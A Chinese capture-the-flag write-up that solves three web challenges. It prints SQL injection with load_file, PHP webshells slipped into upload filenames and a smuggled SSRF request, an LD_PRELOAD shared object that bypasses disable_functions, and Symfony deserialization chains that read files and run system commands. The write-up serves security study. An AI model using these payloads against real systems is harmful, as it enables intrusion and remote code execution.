因為都有源碼,所以這里直接從源碼開始分析:
1.Easy web

這道題本來的意思應該是通過注入來load_file讀取config.php來泄露cookie的加密密鑰,從而偽造身份進行登陸再上傳shell

這里本來addslashes以后就基本沒法注入,但是這里卻多了兩行替換,所以能夠繼續注入,

這里config過濾可以使用16進制或者char編碼繞過:
對於magic_quotes_gpc = on的時候,會過濾引號 可以通過char,16進制等方式來繞過 例如: -1 union select 1,2,3,4,load_file(char(99,58,47,98,111,111,116,46,105,110,105)) -1 union select 1,2,3,4,load_file(0x633a2f626f6f742e696e69)
這里直接偽造cookie,加密解密算法都有:

然后更改一下cookie,再訪問upload.php進行shell的上傳:

這里獲取上傳的文件,文件的Name 屬性為name,這里會對文件名中的php進行過濾,php標簽那么有三種,<script language="php"></script>,<?=?>(相當於<?php echo ?>),<??>這兩種是短標簽,還有完整的<?php ?>,這里可以直接使用<?=繞過即可,比如shell可以為<?=`$_GET[1]`;,這里將文件名寫入到logs/upload.log.php,這里不推薦直接把執行結果寫到php文件里,我們更願意將一個shell添加到php文件中,比如filename=<?=eval($_GET[tr1ple]);?>,用python的requests發個包即可:
requests.post(url=url,files={"file":("<?=eval($_GET[tr1ple]);?>","ssssssss")},proxies={"http":"http://127.0.0.1:8080"})
其中字典files中的鍵必須和表單中的name屬性的值相同,也就是php獲取的$_FILE的鍵名一樣,比如這里面是$_FILES[file],那么對應的files={‘file’:()}里面也是file,然后上傳shell以后直接執行讀取/flag即可。
2.Markdown Note
這道題要逆向so,太菜了不會,這里直接略了第一步,利用mlt師傅wp里面的exp:
data='504f5354202f75706c6f61642e70687020485454502f312e310d0a486f73743a203132372e302e302e313a383038300d0a557365722d4167656e743a204d6f7a696c6c612f352e3020284d6163696e746f73683b20496e74656c204d6163204f5320582031302e31333b2072763a36362e3029204765636b6f2f32303130303130312046697265666f782f36362e300d0a4163636570743a20746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c2a2f2a3b713d302e380d0a4163636570742d4c616e67756167653a207a682c656e2d55533b713d302e372c656e3b713d302e330d0a526566657265723a20687474703a2f2f3132372e302e302e313a383038302f696e6465782e7068703f6163743d75706c6f61640d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d363639333633383838313437393532323633303632333639333739370d0a436f6e74656e742d4c656e6774683a203234340d0a436f6e6e656374696f6e3a20636c6f73650d0a557067726164652d496e7365637572652d52657175657374733a20310d0a0d0a2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d363639333633383838313437393532323633303632333639333739370d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2266696c65223b2066696c656e616d653d226c6f676f75742e706870220d0a436f6e74656e742d547970653a20746578742f7068700d0a0d0a3c3f706870200d0a6576616c28245f524551554553545b615d293b0a0d0a2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d363639333633383838313437393532323633303632333639333739372d2d0d0a'.replace('\n','') data=data.decode('hex') requests.post(url+'/index.php',data={'debug':"sadfas HTTP/1.1\r\nHOST:localhost\r\nConnection:Keep-Alive\r\n\r\n%s\r\n"%data},timeout=timeout)
16進制解碼如下:
POST /upload.php HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh,en-US;q=0.7,en;q=0.3 Referer: http://127.0.0.1:8080/index.php?act=upload Content-Type: multipart/form-data; boundary=---------------------------6693638881479522630623693797 Content-Length: 244 Connection: close Upgrade-Insecure-Requests: 1 -----------------------------6693638881479522630623693797 Content-Disposition: form-data; name="file"; filename="logout.php" Content-Type: text/php <?php eval($_REQUEST[a]); -----------------------------6693638881479522630623693797--
上面實際上是給upload直接傳遞了一個shell,內容為<?php eval($_REQUEST[a]);?>,這里直接通過upload.php的邏輯保存到本地,這里本來拿到源碼的時候就可以看到remote_addr限制了127.0.0.1,那么此時只能夠通過ssrf來訪問,進行文件上傳,這里會以我們上傳的文件名進行加上.md后綴保存,上面的payload里filename為logout.php那么最后保存成logout.md

然后此時就可以訪問logout.md,實際上我們已經有了一個shell,可以看看flag在哪:


這里有flag但肯定是沒權限讀,還有個readflag,猜測通過執行readflag來間接讀取flag,所以肯定必須通過系統命令來進行執行readflag,但是有disable_function,phpinfo看一看:
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,
pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,
pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,mail,passthru,exec,system,chroot,chgrp,chown,
shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen
這里過濾了很多函數,system也用不了,mai也過濾了,所以肯定要bypass diables_function,所以這里常規操作,上傳so,c文件如下:
/* compile: gcc -Wall -fPIC -shared -o evil.so evil.c -ldl */ #include <stdlib.h> #include <stdio.h> #include <string.h> void payload(char *cmd) { char buf[512]; strcpy(buf, cmd); // strcat(buf, " > /tmp/_0utput.txt"); strcat(buf, " > /tmp/seu.txt"); system(buf); } int geteuid() { char *cmd; if (getenv("LD_PRELOAD") == NULL) { return 0; } unsetenv("LD_PRELOAD"); if ((cmd = getenv("_evilcmd")) != NULL) { payload(cmd); } return 1; }
直接編譯成so,然后上傳即可:
requests.post(url+'/post.php?md=logout.md',data={'a':'move_uploaded_file($_FILES["aaa"]["tmp_name"],"/tmp/seu.so");'},files={"aaa":("filename1", open("seu.so", "rb"))},timeout=2)
這里要包含我們的logout.md,因為是我們的shell,然后執行move_upload_file就可以上傳成功so文件,一般上傳到/tmp目錄下面,接下來就要進行讀取flag:
這里使用error_log函數來fork execve,因為它也會調用sendmail,從而劫持geteuid()函數


payload為:
index.php?act=post&md=logout.md&a=putenv("LD_PRELOAD=/tmp/seu.so");putenv(%27_evilcmd=whoami%27);error_log(%27test%27,1,"","");
_evalcmd就是我們要執行的系統命令,然后它會保存到/tmp/seu.txt,然后直接讀取即可:


讀取flag只需要將系統命令換成bash -c /readflag即可讀到flag,本地測試一下即可:

3.Laravel1
又是laravel代碼審計的題目,拿到題目我首先看一下路由信息,可以看到這里直接將輸入的信息進行了反序列化,那么肯定考的是反序列化,那么web的路由就這一條,來反序列化自定義的類肯定是不可能的了,一般看路由有兩個地方來看,web.php和api.php,web.php是有狀態的路由,api.php是無狀態的路由,routes文件夾下其實都可以定義路由。



這里直接找可以利用的__destruct方法即可,剛才編輯了一半沒保存==,直接說一下調用鏈:


所以要這里用$this->pool調用了saveDeferred方法,這個pool肯定是個對象,向上看看就知道他是一個實現了Adapterinterface接口的類的對象,這里就可以跟其他的類鏈在了一起,所以只要找到實現了該接口的類,並且這個類里面存在saveDeffed()就可以看看里面有沒有可以利用的點,或者是找找可以找找哪些類的__call方法可以利用,如果沒有saveDeferred(),調用時就會觸發__call方法

這里直接定位到我找到的滿足條件的幾個類,因為這幾個類里面都實現了接口並且有saveDeferred方法,
ChainAdapter.php
PhpArrayAdapter.php
ProxyAdapter.php
TraceableAdapter.php
ArrayAdapter.php
一個一個分析(先從函數內部邏輯簡單的來,再慢慢排除):
chainadapter.php

可以看到實際上里面又調用了saveDeferred方法,所以可以直接略過,因為相當於重復操作。
PhpArrayAdapter.php

在此方法中調用了initialize()方法,但是ctrl+f在此文件沒找到,因此肯定是來自父類或者來自trait,這里可以利用phpstorm自帶的show disgrams來查看一下類的繼承關系和trait的復用聯系,並且可以顯示出每個文件中的方法:
可以很明顯的看到其實這里是調用的PhpArrayTrait的init方法,所以跟進看看:


可以看到這里涉及到文件操作,我們可以進行文件包含來讀文件,那么可能存在漏洞的點知道了,我們向上看看需要滿足的條件

這里我直接貼exp,然后說一下幾個要點:
<?php namespace Symfony\Component\Cache{ final class CacheItem{ } } namespace Symfony\Component\Cache\Adapter{ use Symfony\Component\Cache\CacheItem; class PhpArrayAdapter{ private $file; public function __construct() { $this->file = '/etc/passwd'; } } class TagAwareAdapter{ private $deferred = []; private $pool; public function __construct() { $this->deferred = array('tr1ple' => new CacheItem()); $this->pool = new PhpArrayAdapter(); } } $obj = new TagAwareAdapter(); echo urlencode(serialize($obj)); }
首先我序列化的肯定是帶有__destruct的TagAwareAdapter類,然后因為有調用$this->pool->saveDefeffed(),所以我在這里將pool的值賦值為一個對象,即PhpArrayAdapter類的對象,而這里savaDefeffed的入口參數是cacheiteminterface的對象,也就是實現了該接口的類的對象,而從文件頭use引入的類中可以看到cacheitem類,我們跟進,因此只需要定義$this->deferred = array('tr1ple' => new CacheItem());這里因為在不同的namespace,所以要用{}花括號區別開來,要用到其他命名空間的類時,直接用use在目前的命名空間內引進就好,這個exp編寫就這么多要注意的。



然后直接通過payload進行訪問即可。

3.ProxyAdapter.php
這個文件也存在代碼執行,先貼exp:
<?php namespace Symfony\Component\Cache; class CacheItem{ protected $innerItem = "id"; protected $poolHash = "tr1ple"; } namespace Symfony\Component\Cache\Adapter; use Symfony\Component\Cache\CacheItem; class TagAwareAdapter { private $deferred; public function __construct($x) { $this->pool = $x; $this->deferred=array("1" => new CacheItem()); } } class ProxyAdapter { private $setInnerItem; private $poolHash; public function __construct() { $this->setInnerItem = "system"; $this->poolHash = "tr1ple"; } } $a = new TagAwareAdapter(new ProxyAdapter()); echo urlencode(serialize($a));
這個exp寫起來也不難,只要注意命名空間的路徑對應類是正確的,然后我們構造的條件到代碼執行之前的代碼都能走通就能觸發rce。

system()有第二個參數,這個第二個參數的意思實際上是將system(id)的執行結果保存到$c變量,所以這只能是個變量名,這里把$c的值直接放進函數里是不行的,我試了一下把$c變成其它的類型也可以,所以跟c的變量類型無關。

4.TraceableAdapter.php
這個函數內部又是調用saveDeferred,所以直接略過

5.ArrayAdapter.php

public function save(CacheItemInterface $item) { if (!$item instanceof CacheItem) { return false; } $item = (array) $item; $key = $item["\0*\0key"]; $value = $item["\0*\0value"]; $expiry = $item["\0*\0expiry"]; if (null !== $expiry && $expiry <= microtime(true)) { $this->deleteItem($key); return true; } if ($this->storeSerialized && null === $value = $this->freeze($value, $key)) { return false; } if (null === $expiry && 0 < $item["\0*\0defaultLifetime"]) { $expiry = microtime(true) + $item["\0*\0defaultLifetime"]; } $this->values[$key] = $value; $this->expiries[$key] = null !== $expiry ? $expiry : PHP_INT_MAX; return true; }
這里面調用了save方法,但是里面沒有函數動態函數調用,所以沒法利用,賦值不用關心。
